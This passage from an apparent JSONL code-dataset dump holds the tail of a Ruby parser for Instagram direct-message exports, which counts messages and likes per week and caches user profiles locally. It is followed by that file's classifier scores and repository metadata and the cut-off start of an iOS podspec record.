week_likes\n\t\t\t\tweekly_likes << week_likes\n\t\t\tend\n\n\t\t\tg.data(:Likes, weekly_likes)\n\t\t\tg.data(:Messages, weekly_messages)\n\n\t\t\treturn g\n\t\tend\n\n\t\tprivate\n\n\t\tdef process_messages(messages)\n\t\t\t@first_msg = Date.today\n\n\t\t\tmessages.length.times do |idx|\n\t\t\t\tmessage = messages[idx]\n\t\t\t\tsender = message[\"sender\"]\n\t\t\t\tdate = Date.parse(message[\"created_at\"])\n\n\t\t\t\tif (date < @first_msg)\n\t\t\t\t\t@first_msg = date\n\t\t\t\tend\n\n\t\t\t\t# Always try to add the participant incase they are new\n\t\t\t\tadd_participant(sender)\n\n\t\t\t\t# Track messages per-week (used for graphing)\n\t\t\t\tweek_key = ((date.to_time - TWENTY_TEN) / 1.week).to_i\n\t\t\t\tweek_totals = weekly_totals[week_key]\n\n\t\t\t\tif (!@weekly_totals.key?(week_key))\n\t\t\t\t\tweek_totals = weekly_totals[week_key] = MessageTotals.new(@participants)\n\t\t\t\tend\n\n\t\t\t\t# Keep a total number of messages\n\t\t\t\t@totals.total += 1\n\t\t\t\tweek_totals.total += 1\n\n\t\t\t\t# Keep track of messages sent vs received\n\t\t\t\tif (sender != @username)\n\t\t\t\t\t@totals.received += 1\n\t\t\t\t\tweek_totals.received += 1\n\t\t\t\tend\n\t\t\t\t\t\n\t\t\t\t@totals.sent[sender] += 1\n\t\t\t\tweek_totals.sent[sender] += 1\n\n\t\t\t\t# Process any likes that the message might have\n\t\t\t\tif (message.key?(\"likes\"))\n\t\t\t\t\tmessage[\"likes\"].each do |like|\n\t\t\t\t\t\tlike_user = like[\"username\"]\n\t\t\t\t\t\tadd_participant(like_user)\n\n\t\t\t\t\t\t# Track the total number of likes\n\t\t\t\t\t\t@totals.total_likes += 1\n\t\t\t\t\t\tweek_totals.total_likes += 1\n\n\t\t\t\t\t\t# Per-user likes given & received\n\t\t\t\t\t\t@totals.likes_given[like_user] += 1\n\t\t\t\t\t\tweek_totals.likes_given[like_user] += 1\n\n\t\t\t\t\t\t@totals.likes_received[sender] += 1\n\t\t\t\t\t\tweek_totals.likes_received[sender] += 1\n\n\t\t\t\t\t\t# Detailed likes hash connects sender & like user\n\t\t\t\t\t\t@totals.detailed_likes[sender][like_user] += 1\n\t\t\t\t\t\tweek_totals.detailed_likes[sender][like_user] += 1\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\tend\n\n\t\t\tif (messages.length > 0)\n\t\t\t\t@last_msg = Date.parse(messages[0][\"created_at\"])\n\n\t\t\t\tfirst_week = ((@first_msg.to_time - TWENTY_TEN) / 1.week).to_i\n\t\t\t\tlast_week = ((@last_msg.to_time - TWENTY_TEN) / 1.week).to_i\n\t\t\t\t\n\t\t\t\t(first_week..last_week).each do |week|\n\t\t\t\t\tif (!@weekly_totals.key?(week))\n\t\t\t\t\t\t@weekly_totals[week] = MessageTotals.new(@participants)\n\t\t\t\t\tend\n\t\t\t\tend\n\n\t\t\t\t@daily_messages = (@totals.total.to_f / (@last_msg - @first_msg)).round(2)\n\t\t\telse\n\t\t\t\t@last_msg = Date.today\n\t\t\t\t@daily_messages = 0\n\t\t\tend\n\n\t\tend\n\n\t\tdef make_title\n\t\t\tif (@participants.length > 2)\n\t\t\t\t# Instagram doesn't provide group names\n\t\t\t\treturn \"Group (#{participants.length})\"\n\t\t\telse\n\t\t\t\ttitle = @participants[0]\n\n\t\t\t\t# Make sure the title is not our username\n\t\t\t\tif (title == @username && @participants.length > 1)\n\t\t\t\t\ttitle = @participants[1]\n\t\t\t\tend\n\n\t\t\t\t# Remove long UUID from deleted users\n\t\t\t\tif (title.include?(\"__deleted__\"))\n\t\t\t\t\treturn \"Deleted User\"\n\t\t\t\telse\n\t\t\t\t\treturn title\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\tend\n\n\tdef self.save_user_cache(user_cache)\n\t\tjson_users = Array.new\n\n\t\tuser_cache.each do |username, user|\n\t\t\tjson_users << {\n\t\t\t\t\"username\" => user.username, \n\t\t\t\t\"name\" => user.name,\n\t\t\t\t\"bio\" => user.bio,\n\t\t\t\t\"pfp\" => \"icons/#{username}.png\",\n\t\t\t\t\"followers\" => user.followers, \n\t\t\t\t\"following\" => user.following\n\t\t\t}\n\t\tend\n\n\t\tFile.open(\"cache/users.json\", \"w\") do |file|\n\t\t\tfile.write(json_users.to_json)\n\t\tend\n\tend\n\n\tdef self.read_user_cache()\n\t\tjson_users = JSON.parse(File.read(\"cache/users.json\"))\n\t\tuser_cache = Hash.new\n\n\t\tjson_users.each do |u|\n\t\t\tpfp = nil\n\t\t\tpfp_file = \"cache/#{u[\"pfp\"]}\"\n\n\t\t\tif (File.exists?(pfp_file))\n\t\t\t\tpfp = Gosu::Image.new(pfp_file)\n\t\t\telse\n\t\t\t\tpfp = Gosu::Image.new(\"assets/default.png\")\n\t\t\tend\n\t\t\tuser_cache[u[\"username\"]] = User.new(u[\"username\"], u[\"name\"], u[\"bio\"], pfp, u[\"followers\"], u[\"following\"])\n\t\tend\n\n\t\treturn user_cache\n\tend\n\n\tdef self.read_convos(filename, username)\n\t\tmessages_hash = JSON.parse(File.read(filename))\n\n\t\tif (!File.exists?(\"cache\"))\n\t\t\tDir.mkdir(\"cache\")\n\t\t\tDir.mkdir(\"cache/icons\")\n\t\telsif (File.exists?(\"cache/users.json\"))\n\t\t\t$user_cache = self.read_user_cache\n\t\tend\n\n\t\tconvo_list = Array.new\n\t\tcur_id = 0\n\n\t\tmessages_hash.each do |convo_hash|\n\n\t\t\talready_exists = false\n\n\t\t\tnew_convo = Conversation.new(cur_id, username, convo_hash[\"participants\"], convo_hash[\"conversation\"])\n\n\t\t\t# Try to merge conversations with the same people\n\t\t\tconvo_list.each do |convo|\n\t\t\t\tif (convo.participants.length == new_convo.participants.length)\n\t\t\t\t\talready_exists = true\n\t\t\t\t\tconvo.participants.each do |participant|\n\t\t\t\t\t\tif (!new_convo.participants.include?(participant))\n\t\t\t\t\t\t\talready_exists = false\n\t\t\t\t\t\t\tbreak\n\t\t\t\t\t\tend\n\t\t\t\t\tend\n\n\t\t\t\t\tif (already_exists)\n\t\t\t\t\t\t# Combine the message totals\n\t\t\t\t\t\tconvo += new_convo\n\t\t\t\t\t\tbreak\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\tend\n\n\t\t\tif (!already_exists)\n\t\t\t\tconvo_list << new_convo\n\t\t\t\tcur_id += 1\n\t\t\tend\n\t\tend\n\n\t\tif (!File.exists?(\"cache/users.json\"))\n\t\t\tself.save_user_cache($user_cache)\n\t\tend\n\n\t\treturn convo_list\n\tend\nend", "text_preview": "require \"rubygems\" # Image managment require \"gruff\" require \"gosu\" require \"mini_magick\" # Parse message data require \"json\" require \"date\" require 'active_support/core_ext/numeric/time' # Interact with Instagram API require \"net/http\" req", "input_sha256": "80aabff0e3c40a99e74d28290eadcd8af93eef56bf54865f5efbf78a64da7015", "text_sha256": "780fbc2a1140d8fb6c050648a57a6b5098bccb3af9c5d2f9783095d53ed4a741", "run_sha256": "0dbe3046118ab5f0eea428b55f67ac75d558dc1c7da585927c21fa1685f6e177", "line_number": 16087, "input_policy": "text-and-optional-url-v1", "label_policy_version": 12, "requested_model": "decision-models/baseten-mammoth-27b-latest", "backend": "baseten", "endpoint": "https://inference.baseten.co/v1/systemone", "status": "ok", "training_eligible": true, "label": {"primary": {"main_format": "Technical Writing", "sub_format": null}, "secondary": null, "tertiary": null, "content_structure": []}, "candidate_label": null, "topic": {"primary": {"main_topic": "Programming & Software Engineering", "sub_topic": null}, "secondary": null}, "scores": {"content_quality": 1, "noise_severity": 0, "missing_content_severity": 0, "factual_density": 4, "pretraining_utility": 1, "math_density": 0, "code_density": 4, "reasoning_density": 0, "education_level": 2, "creative_writing_quality": null}, "score_expectations": {"content_quality": 0.475949599198626, "noise_severity": 0.024856579980977813, "missing_content_severity": 0.06739393419901671, "factual_density": 3.1407902603621323, "pretraining_utility": 0.5452454336755264, "math_density": 0.6029519665119194, "code_density": 3.9300045801563916, "reasoning_density": 1.1372130164334577, "education_level": 2.110214173485358, "creative_writing_quality": -0.36134840907466853}, "api_choices": {"primary": "Technical Writing", "secondary": "NONE", "tertiary": "NONE", "education_level": "2", "creative_writing_quality": "not_applicable", "primary_topic": "Programming & Software Engineering", "secondary_topic": "NONE"}, "review_reasons": [], "format_slot_diagnostics": {"comparable": true, "secondary_tertiary_identical": false, "secondary_tertiary_max_abs_gap": 0.008204639734732289, "secondary_choice": "NONE", "tertiary_choice": "NONE"}, "confidence": {"primary": 0.9973119023077169, "secondary": 0.9632742472461181, "tertiary": 0.971835610447578, "structured_records": 0.02734725064870954, "procedural_steps": 0.014284377624748374, "worked_solution": 0.0023961152889405983, "contextual_dialogue": 1.0417277088436076e-05, "content_quality": 0.39728527654137624, "noise_severity": 0.9792861833491852, "missing_content_severity": 0.9438383881674861, "factual_density": 0.2839918836351101, "pretraining_utility": 0.47688556832717854, "math_density": 0.4975400279067338, "code_density": 0.9416704834636598, "reasoning_density": 0.052322486305452, "education_level": 0.7902918432119289, "creative_writing_quality": 0.9992634820234232, "primary_topic": 0.9888984579329434, "secondary_topic": 0.799967374682286}, "probability_margin": {"primary": 0.9963239874482587, "secondary": 0.9492287362231279, "tertiary": 0.9629077365705316, "education_level": 0.6956660075410027, "creative_writing_quality": 0.9991238286489634, "primary_topic": 0.9852293717004401, "secondary_topic": 0.7318654911489176}, "raw_probabilities": {"primary": {"Academic Writing": 2.7652669109840206e-05, "Content Listing": 1.8462260005417696e-05, "Creative Writing": 2.008406363862307e-05, "Customer Support Page": 7.839249840063633e-06, "Q&A Forum": 9.88876319589763e-06, "Discussion Thread": 8.375381864435282e-06, "Comment Section": 1.3574027053055633e-05, "Missing Content": 2.846608781899917e-05, "Knowledge Article": 5.887169282113962e-05, "Legal Notices": 3.097601866510016e-05, "News Article": 4.708942458942904e-06, "Organizational Announcement": 1.0634256215574698e-05, "Nonfiction Writing": 1.2834385263457668e-05, "Organizational About Page": 1.2954107133019412e-05, "Personal About Page": 1.4264569702429423e-05, "Personal Blog": 7.906002368572049e-06, "Product Page": 8.06567559660062e-06, "Spam / Ads": 1.4591561272966497e-05, "Structured Data": 0.0007859956509073433, "Technical Writing": 0.9974239063782288, "Transcript / Interview": 2.6002845396702532e-05, "Tutorial / How-To Guide": 0.00034641492307344593, "User Reviews": 7.611558399493177e-06, "Other / Unknown": 0.0010999189299701069}, "secondary": {"Academic Writing": 0.00018248177112541034, "Content Listing": 0.00014814794613358094, "Creative Writing": 0.00018175127465375554, "Customer Support Page": 8.7879241747542e-05, "Q&A Forum": 6.761169064641639e-05, "Discussion Thread": 7.301738776110785e-05, "Comment Section": 0.0005972677362593011, "Missing Content": 0.0005950614926050132, "Knowledge Article": 0.0008099244126322285, "Legal Notices": 0.0002583484860939, "News Article": 8.22222348261085e-05, "Organizational Announcement": 9.343368898673501e-05, "Nonfiction Writing": 0.00012029723713481351, "Organizational About Page": 0.00011408651908531502, "Personal About Page": 9.848956349532471e-05, "Personal Blog": 9.291622247972903e-05, "Product Page": 6.102396401217107e-05, "Spam / Ads": 0.00011599352188123003, "Structured Data": 0.014112534553644019, "Technical Writing": 0.015575750721068671, "Transcript / Interview": 0.0001905900827289919, "Tutorial / How-To Guide": 0.0014890156747622057, "User Reviews": 4.766763203980888e-05, "NONE": 0.9648044869441965}, "tertiary": {"Academic Writing": 0.00014152783190951305, "Content Listing": 0.00014045692393975173, "Creative Writing": 0.0001704748558310483, "Customer Support Page": 7.309174866353242e-05, "Q&A Forum": 5.0859454897921674e-05, "Discussion Thread": 7.242262312865479e-05, "Comment Section": 0.0006728995516553388, "Missing Content": 0.001676715131011785, "Knowledge Article": 0.0014028049302101575, "Legal Notices": 0.00041027686518634417, "News Article": 7.447320883050605e-05, "Organizational Announcement": 9.332703082750215e-05, "Nonfiction Writing": 0.00020537195788039312, "Organizational About Page": 0.00015223535010831682, "Personal About Page": 9.781003937612171e-05, "Personal Blog": 8.50181899290116e-05, "Product Page": 5.787202318523361e-05, "Spam / Ads": 0.00013142156376829396, "Structured Data": 0.010101390108397322, "Technical Writing": 0.009464036146983738, "Transcript / Interview": 0.00020204946602602158, "Tutorial / How-To Guide": 0.001475488215659642, "User Reviews": 3.8850103665034025e-05, "NONE": 0.9730091266789289}, "structured_records": {"false": 0.9726527493512904, "true": 0.02734725064870954}, "procedural_steps": {"false": 0.9857156223752517, "true": 0.014284377624748374}, "worked_solution": {"false": 0.9976038847110594, "true": 0.0023961152889405983}, "contextual_dialogue": {"false": 0.9999895827229116, "true": 1.0417277088436076e-05}, "content_quality": {"-2": 0.01511725754729276, "-1": 0.11720036536209542, "0": 0.3439015311097921, "1": 0.42417721230633276, "2": 0.09960363367448716}, "noise_severity": {"0": 0.9781746313011455, "1": 0.019765266993193288, "2": 0.001352605667660201, "3": 0.0004438824995398446, "4": 0.000263613538461146}, "missing_content_severity": {"0": 0.9419933360642994, "1": 0.0514189014489292, "2": 0.004387605638047932, "3": 0.0016008059209023646, "4": 0.0005993509278211353}, "factual_density": {"0": 0.0114273882305083, "1": 0.052201948164838335, "2": 0.13954932417104904, "3": 0.3777956938792216, "4": 0.41902564555438276}, "pretraining_utility": {"-2": 0.008656807650405414, "-1": 0.07506611326639598, "0": 0.3651432926819215, "1": 0.464642410559821, "2": 0.0864913758414561}, "math_density": {"0": 0.5934067427521758, "1": 0.2866037736534216, "2": 0.07235629521932625, "3": 0.01889715108046008, "4": 0.02873603729461627}, "code_density": {"0": 0.0001589153567407942, "1": 0.0003129927407221833, "2": 0.005970945707271943, "3": 0.05647888877993463, "4": 0.9370782574153305}, "reasoning_density": {"0": 0.5336399990081403, "1": 0.11777950553454197, "2": 0.1405984261011974, "3": 0.09369161872796021, "4": 0.11429045062816003}, "education_level": {"none": 0.0011457502699718292, "0": 0.0017245244958302077, "1": 0.03355296847386115, "2": 0.8252432026766074, "3": 0.12957719513560476, "4": 0.008756358948124559}, "creative_writing_quality": {"not_applicable": 0.9993862350195193, "-2": 9.892243457085685e-05, "-1": 0.0001536109174669538, "0": 0.000262406370555823, "1": 6.797772840770753e-05, "2": 3.084752947927258e-05}, "primary_topic": {"Adult & Explicit Sexual Content": 0.00010765182639993063, "Art & Design": 0.00020437379000233332, "Law & Crime": 5.4426465358897105e-05, "Education & Careers": 4.63715523310191e-05, "Entertainment & Media": 0.0005120996486138087, "Fashion & Beauty": 6.264621018697953e-05, "Business, Economics & Finance": 9.644759538785334e-05, "Food & Dining": 3.0350217699996125e-05, "Games & Gaming": 0.00017533726906790293, "Electronics & Hardware": 7.280097178909506e-05, "Health, Healthcare & Wellness": 3.1851680018154854e-05, "History & Geography": 3.930877571036025e-05, "Home, Pets & Hobbies": 4.400852378424634e-05, "Industry & Production": 2.5777333179794857e-05, "Language, Literature & Philosophy": 4.512013488329114e-05, "Politics & Government": 2.8824580323680536e-05, "Religion & Spirituality": 4.0683127487834176e-05, "Science, Mathematics & Engineering": 9.44415217911984e-05, "Relationships & Community": 0.003233838919746095, "Software Usage & Applications": 0.004096068619697784, "Programming & Software Engineering": 0.9893254403201379, "Sports & Fitness": 4.6712367725545024e-05, "Vehicles & Transportation": 1.799967532468831e-05, "Travel & Tourism": 5.441574800651286e-05, "Other / Uncovered Subject": 0.0014364573268340918, "Unknown / Insufficient Content": 7.654579851116953e-05}, "secondary_topic": {"Adult & Explicit Sexual Content": 0.0013502942468174468, "Art & Design": 0.04248642465877852, "Law & Crime": 0.0012467522257605746, "Education & Careers": 0.0004694682815505107, "Entertainment & Media": 0.02006704158805888, "Fashion & Beauty": 0.0005368400662426663, "Business, Economics & Finance": 0.0014468731641269722, "Food & Dining": 0.0003109354394241854, "Games & Gaming": 0.001203823814411456, "Electronics & Hardware": 0.0005456230872246382, "Health, Healthcare & Wellness": 0.00040881418691673943, "History & Geography": 0.00043527818498161763, "Home, Pets & Hobbies": 0.00043155753250002514, "Industry & Production": 0.00023955705511758804, "Language, Literature & Philosophy": 0.00030806500553204157, "Politics & Government": 0.00040165880533698806, "Religion & Spirituality": 0.0004452436880922968, "Science, Mathematics & Engineering": 0.0008954440941520952, "Relationships & Community": 0.01426315379749009, "Software Usage & Applications": 0.07579544604558812, "Programming & Software Engineering": 0.023575762914371908, "Sports & Fitness": 0.0003394950056706269, "Vehicles & Transportation": 0.00015960763480986115, "Travel & Tourism": 0.0005458984200880271, "Other / Uncovered Subject": 0.0044300038624504184, "NONE": 0.8076609371945057}}, "probabilities": {"primary": {"Academic Writing": 2.7652669109840206e-05, "Content Listing": 1.8462260005417696e-05, "Creative Writing": 2.008406363862307e-05, "Customer Support Page": 7.839249840063633e-06, "Q&A Forum": 9.88876319589763e-06, "Discussion Thread": 8.375381864435282e-06, "Comment Section": 1.3574027053055633e-05, "Missing Content": 2.846608781899917e-05, "Knowledge Article": 5.887169282113962e-05, "Legal Notices": 3.097601866510016e-05, "News Article": 4.708942458942904e-06, "Organizational Announcement": 1.0634256215574698e-05, "Nonfiction Writing": 1.2834385263457668e-05, "Organizational About Page": 1.2954107133019412e-05, "Personal About Page": 1.4264569702429423e-05, "Personal Blog": 7.906002368572049e-06, "Product Page": 8.06567559660062e-06, "Spam / Ads": 1.4591561272966497e-05, "Structured Data": 0.0007859956509073433, "Technical Writing": 0.9974239063782288, "Transcript / Interview": 2.6002845396702532e-05, "Tutorial / How-To Guide": 0.00034641492307344593, "User Reviews": 7.611558399493177e-06, "Other / Unknown": 0.0010999189299701069}, "secondary": {"Academic Writing": 0.00018248177112541037, "Content Listing": 0.00014814794613358096, "Creative Writing": 0.00018175127465375556, "Customer Support Page": 8.787924174754202e-05, "Q&A Forum": 6.76116906464164e-05, "Discussion Thread": 7.301738776110786e-05, "Comment Section": 0.0005972677362593012, "Missing Content": 0.0005950614926050133, "Knowledge Article": 0.0008099244126322286, "Legal Notices": 0.00025834848609390004, "News Article": 8.222223482610851e-05, "Organizational Announcement": 9.343368898673503e-05, "Nonfiction Writing": 0.00012029723713481353, "Organizational About Page": 0.00011408651908531503, "Personal About Page": 9.848956349532473e-05, "Personal Blog": 9.291622247972905e-05, "Product Page": 6.1023964012171076e-05, "Spam / Ads": 0.00011599352188123004, "Structured Data": 0.01411253455364402, "Technical Writing": 0.015575750721068673, "Transcript / Interview": 0.00019059008272899193, "Tutorial / How-To Guide": 0.001489015674762206, "User Reviews": 4.766763203980889e-05, "NONE": 0.9648044869441966}, "tertiary": {"Academic Writing": 0.00014152783190951305, "Content Listing": 0.00014045692393975173, "Creative Writing": 0.0001704748558310483, "Customer Support Page": 7.309174866353242e-05, "Q&A Forum": 5.0859454897921674e-05, "Discussion Thread": 7.242262312865479e-05, "Comment Section": 0.0006728995516553388, "Missing Content": 0.001676715131011785, "Knowledge Article": 0.0014028049302101575, "Legal Notices": 0.00041027686518634417, "News Article": 7.447320883050605e-05, "Organizational Announcement": 9.332703082750215e-05, "Nonfiction Writing": 0.00020537195788039312, "Organizational About Page": 0.00015223535010831682, "Personal About Page": 9.781003937612171e-05, "Personal Blog": 8.50181899290116e-05, "Product Page": 5.787202318523361e-05, "Spam / Ads": 0.00013142156376829396, "Structured Data": 0.010101390108397322, "Technical Writing": 0.009464036146983738, "Transcript / Interview": 0.00020204946602602158, "Tutorial / How-To Guide": 0.001475488215659642, "User Reviews": 3.8850103665034025e-05, "NONE": 0.9730091266789289}, "structured_records": {"false": 0.9726527493512904, "true": 0.02734725064870954}, "procedural_steps": {"false": 0.9857156223752517, "true": 0.014284377624748374}, "worked_solution": {"false": 0.9976038847110594, "true": 0.0023961152889405983}, "contextual_dialogue": {"false": 0.9999895827229116, "true": 1.0417277088436076e-05}, "content_quality": {"-2": 0.015117257547292757, "-1": 0.1172003653620954, "0": 0.34390153110979205, "1": 0.42417721230633265, "2": 0.09960363367448713}, "noise_severity": {"0": 0.9781746313011456, "1": 0.01976526699319329, "2": 0.0013526056676602012, "3": 0.00044388249953984465, "4": 0.00026361353846114606}, "missing_content_severity": {"0": 0.9419933360642994, "1": 0.0514189014489292, "2": 0.004387605638047932, "3": 0.0016008059209023646, "4": 0.0005993509278211353}, "factual_density": {"0": 0.0114273882305083, "1": 0.052201948164838335, "2": 0.13954932417104904, "3": 0.3777956938792216, "4": 0.41902564555438276}, "pretraining_utility": {"-2": 0.008656807650405414, "-1": 0.07506611326639598, "0": 0.3651432926819215, "1": 0.464642410559821, "2": 0.0864913758414561}, "math_density": {"0": 0.5934067427521758, "1": 0.2866037736534216, "2": 0.07235629521932625, "3": 0.01889715108046008, "4": 0.02873603729461627}, "code_density": {"0": 0.0001589153567407942, "1": 0.0003129927407221833, "2": 0.005970945707271943, "3": 0.05647888877993463, "4": 0.9370782574153305}, "reasoning_density": {"0": 0.5336399990081404, "1": 0.11777950553454199, "2": 0.14059842610119744, "3": 0.09369161872796022, "4": 0.11429045062816004}, "education_level": {"none": 0.0011457502699718295, "0": 0.001724524495830208, "1": 0.033552968473861154, "2": 0.8252432026766076, "3": 0.12957719513560478, "4": 0.00875635894812456}, "creative_writing_quality": {"not_applicable": 0.9993862350195194, "-2": 9.892243457085687e-05, "-1": 0.00015361091746695382, "0": 0.0002624063705558231, "1": 6.797772840770754e-05, "2": 3.0847529479272585e-05}, "primary_topic": {"Adult & Explicit Sexual Content": 0.0001076518263999306, "Art & Design": 0.00020437379000233326, "Law & Crime": 5.442646535889709e-05, "Education & Careers": 4.6371552331019084e-05, "Entertainment & Media": 0.0005120996486138086, "Fashion & Beauty": 6.264621018697951e-05, "Business, Economics & Finance": 9.644759538785331e-05, "Food & Dining": 3.0350217699996118e-05, "Games & Gaming": 0.0001753372690679029, "Electronics & Hardware": 7.280097178909504e-05, "Health, Healthcare & Wellness": 3.185168001815485e-05, "History & Geography": 3.930877571036024e-05, "Home, Pets & Hobbies": 4.400852378424633e-05, "Industry & Production": 2.577733317979485e-05, "Language, Literature & Philosophy": 4.5120134883291136e-05, "Politics & Government": 2.882458032368053e-05, "Religion & Spirituality": 4.068312748783417e-05, "Science, Mathematics & Engineering": 9.444152179119837e-05, "Relationships & Community": 0.003233838919746094, "Software Usage & Applications": 0.004096068619697783, "Programming & Software Engineering": 0.9893254403201377, "Sports & Fitness": 4.671236772554501e-05, "Vehicles & Transportation": 1.7999675324688306e-05, "Travel & Tourism": 5.441574800651285e-05, "Other / Uncovered Subject": 0.0014364573268340916, "Unknown / Insufficient Content": 7.654579851116952e-05}, "secondary_topic": {"Adult & Explicit Sexual Content": 0.0013502942468174468, "Art & Design": 0.04248642465877852, "Law & Crime": 0.0012467522257605746, "Education & Careers": 0.0004694682815505107, "Entertainment & Media": 0.02006704158805888, "Fashion & Beauty": 0.0005368400662426663, "Business, Economics & Finance": 0.0014468731641269722, "Food & Dining": 0.0003109354394241854, "Games & Gaming": 0.001203823814411456, "Electronics & Hardware": 0.0005456230872246382, "Health, Healthcare & Wellness": 0.00040881418691673943, "History & Geography": 0.00043527818498161763, "Home, Pets & Hobbies": 0.00043155753250002514, "Industry & Production": 0.00023955705511758804, "Language, Literature & Philosophy": 0.00030806500553204157, "Politics & Government": 0.00040165880533698806, "Religion & Spirituality": 0.0004452436880922968, "Science, Mathematics & Engineering": 0.0008954440941520952, "Relationships & Community": 0.01426315379749009, "Software Usage & Applications": 0.07579544604558812, "Programming & Software Engineering": 0.023575762914371908, "Sports & Fitness": 0.0003394950056706269, "Vehicles & Transportation": 0.00015960763480986115, "Travel & Tourism": 0.0005458984200880271, "Other / Uncovered Subject": 0.0044300038624504184, "NONE": 0.8076609371945057}}, "probability_diagnostics": {"primary": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "secondary": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "tertiary": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "structured_records": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "procedural_steps": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "worked_solution": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "contextual_dialogue": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "content_quality": {"raw_sum": 1.0000000000000002, "mass_delta": 2.220446049250313e-16, "missing_mass": 0.0, "excess_mass": 2.220446049250313e-16, "valid": true, "normalized": false}, "noise_severity": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "missing_content_severity": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "factual_density": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "pretraining_utility": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "math_density": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "code_density": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "reasoning_density": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "education_level": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "creative_writing_quality": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "primary_topic": {"raw_sum": 1.0000000000000002, "mass_delta": 2.220446049250313e-16, "missing_mass": 0.0, "excess_mass": 2.220446049250313e-16, "valid": true, "normalized": false}, "secondary_topic": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}}, "usage": {"input_tokens": 12674, "output_tokens": 19}, "cache": {"status": "unreported", "cached_tokens": null, "cache_write_tokens": null, "input_tokens": 12674, "cached_share": null, "cache_discount_reported": null, "reported_cost_usd": null}, "response_metadata": {"model": "decision-models/baseten-mammoth-27b-latest"}, "scored_at_utc": "2026-10-25T18:35:07.578603+00:00", "scoring_key_slot": "assistant_1", "dataset_uid": "e43caec8-4354-4933-9af5-5b9d6699f595", "dataset_revision": "62077439f2c81c79b71c084d1057ee1d042369a3", "dataset_config": "default", "content_variant": "content", "source_record_sha256": "79678e28cd8ace8dac8404748fc53d39c46db68085e5b83b067ebef9100fb136", "source_metadata": {"uuid": "e43caec8-4354-4933-9af5-5b9d6699f595", "repo_name": "raphydaphy/instagram-dm-viewer", "relative_path": "parser.rb", "category": "TOOL", "algo_rel_score": 0.8314315676689148, "quality_score": 3.932225465774536, "source_meta": {"github_metadata": {"branch": "master", "commit_count": 8, "repo_created_at": "2020-05-07T09:25:31.000Z", "is_fork": false, "is_org_owned": false, "forked_from": null, "stars": 0, "forks": 0, "issues": 0, "pull_requests": 0}, "file_meta": {"content_id": "d016eb80f9994ceee7dc55d9ad5f8fa41403d7b4", "size_bytes": 13860, "file_timestamp": 1588943075, "language": "ruby", "is_vendor": false, "license_type": "no_license", "detected_licenses": []}, "commit_id": "4808c178b971a32f6ce21da7ced52e2a0c585cdf"}}, "parsed_source_meta": {"github_metadata": {"branch": "master", "commit_count": 8, "repo_created_at": "2020-05-07T09:25:31.000Z", "is_fork": false, "is_org_owned": false, "forked_from": null, "stars": 0, "forks": 0, "issues": 0, "pull_requests": 0}, "file_meta": {"content_id": "d016eb80f9994ceee7dc55d9ad5f8fa41403d7b4", "size_bytes": 13860, "file_timestamp": 1588943075, "language": "ruby", "is_vendor": false, "license_type": "no_license", "detected_licenses": []}, "commit_id": "4808c178b971a32f6ce21da7ced52e2a0c585cdf", "url": "https://github.com/raphydaphy/instagram-dm-viewer/blob/4808c178b971a32f6ce21da7ced52e2a0c585cdf/parser.rb"}, "gpt4o_tokens": 4054, "dataset_split": "ruby", "probability_weighted_scores": {"content_quality": 0.475949599198626, "noise_severity": 0.024856579980977813, "missing_content_severity": 0.06739393419901671, "factual_density": 3.1407902603621323, "pretraining_utility": 0.5452454336755264, "math_density": 0.6029519665119194, "code_density": 3.9300045801563916, "reasoning_density": 1.1372130164334577, "education_level": 2.110214173485358, "creative_writing_quality": -0.36134840907466853}, "score_applicability": {"education_level": 0.9988542497300282, "creative_writing_quality": 0.000613764980480614}} {"source_group": "ruby", "source": "openbmb/UltraData-Stack-v3-L2/ruby", "domain": "github.com", "language": "ruby", "url": "https://github.com/vincilbishop/MyiOSHelpers/blob/fd5977cdc9e24e4946364a124c0447b111d05412/MyiOSHelpers.podspec", "id": "ruby-0-8dcfa37044e446bf2aa1a4cb5b6cac80", "text": "Pod::Spec.new do |spec|\n \n\tspec.name\t\t= 'MyiOSHelpers'\n\tspec.version\t= '1.0.6'\n\tspec.homepage = \"http://github.com/premosystems/MyiOSHelpers\"\n\tspec.author = { \"\" => \"\" }\n\tspec.license\t= 'MIT'\n\tspec.summary\t= 'A collection of often used but time consuming to recreate logic for iOS.'\n\tspec.description = 'collection of 